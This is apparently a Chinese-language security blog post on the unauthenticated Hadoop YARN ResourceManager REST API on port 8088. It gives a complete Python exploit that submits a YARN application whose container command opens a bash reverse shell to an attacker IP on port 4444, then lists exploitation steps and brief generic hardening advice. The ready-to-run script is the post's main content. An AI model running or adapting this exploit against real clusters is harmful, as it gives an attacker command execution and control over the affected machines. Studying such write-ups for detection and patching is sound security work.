Hadopp未授权访问导致RCE

前言:Hadoop是一个开源的分布式计算框架,用于处理大规模数据集的存储和处理。它基于Google的MapReduce算法和Google File System(GFS)的论文,旨在提供一个可靠、可扩展、分布式存储和处理大规模数据的解决方案。漏洞产生原因:负责对资源进行同一管理调度的 ReasourceManager 组件的UI管理界面开放在 8080/8088 端口,攻击者无需认证即可通过REST API 部署任务来执行任意命令,最终可完全控制集群中所有的机器。

0x01 发现漏洞

能够访问下方链接即存在未授权访问漏洞

http://192.168.0.106:8088/cluster/apps

Hadopp未授权访问导致RCE_第1张图片

0x02 编写EXP

#!/usr/bin/env python

import requests

target = 'http://10.20.30.205:8088/'
lhost = '10.20.30.110' # 反弹shell接受IP地址,默认端口4444

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

0x03 漏洞利用

1. 攻击机进行监听。

Hadopp未授权访问导致RCE_第2张图片

2. 攻击机执行python脚本。

Hadopp未授权访问导致RCE_第3张图片

3. 攻击机获取控制权。

Hadopp未授权访问导致RCE_第4张图片

0x04 漏洞修复

  1. 强化身份验证:确保只有授权用户能够访问Hadoop集群。你可以使用强密码策略、多因素身份验证等方法来提高安全性。
  2. 访问控制:配置适当的访问控制列表(ACLs)和权限策略,限制用户对集群资源的访问和操作权限。
  3. 网络安全:确保Hadoop集群所在的网络环境受到保护,使用防火墙、入侵检测系统等安全设备来监控和防御潜在的网络攻击。
  4. 定期审计和监控:定期检查Hadoop集群的访问日志和安全事件,以便及时发现并应对潜在的安全威胁。
  5. 更新和补丁管理:及时更新Hadoop及其相关组件的安全补丁和版本,以修复已知的安全漏洞。

你可能感兴趣的:(web安全,安全,网络)